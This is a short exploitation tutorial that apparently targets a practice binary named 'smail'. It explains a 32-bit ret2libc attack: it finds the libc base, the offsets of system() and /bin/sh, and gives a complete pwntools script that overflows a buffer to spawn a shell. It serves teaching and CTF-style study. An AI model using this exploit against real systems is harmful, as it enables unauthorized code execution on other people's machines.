ret2libc - 32-bit Exploit

A ret2libc is based off the system function found within the C library. This function executes anything passed to it making it the best target. Another thing found within libc is the string /bin/sh; if you pass this string to system, it will pop a shell.

Getting Libc and its base

> ldd smail 
    linux-gate.so.1 (0xf7fd2000)
    libc.so.6 => /lib32/libc.so.6 (0xf7dc2000)
    /lib/ld-linux.so.2 (0xf7fd3000)

We need libc.so.6, so the base address of libc is 0xf7dc2000

Getting the location of system()

To call system, we obviously need its location in memory. We can use the readelf command for this.

> readelf -s /lib32/libc.so.6 | grep system
  1534: 00044f00    55 FUNC    WEAK   DEFAULT   14 system@@GLIBC_2.0

The -s flag tells readelf to search for symbols, for example functions. Here we can find the offset of system from libc base is 0x44f00

Getting the location of /bin/sh

Since /bin/sh is just a string, we can use strings on the dynamic library we just found with ldd. Note that when passing strings as parameters you need to pass a pointer to the string, not the hex representation of the string, because that's how C expects it.

> strings -a -t x /lib32/libc.so.6 | grep /bin/sh
   18c32b /bin/sh

-a tells it to scan the entire file; -t x tells it to output the offset in hex.

Exploit

from pwn import *

p = process('./smail')

libc_base = 0xf7dc2000
system = libc_base + 0x44f00
binsh = libc_base + 0x18c32b

payload = b'A' * 76         # The padding
payload += p32(system)      # Location of system
payload += p32(0x0)         # return pointer - not important once we get the shell
payload += p32(binsh)       # pointer to command: /bin/sh

p.clean()
p.sendline(payload)
p.interactive()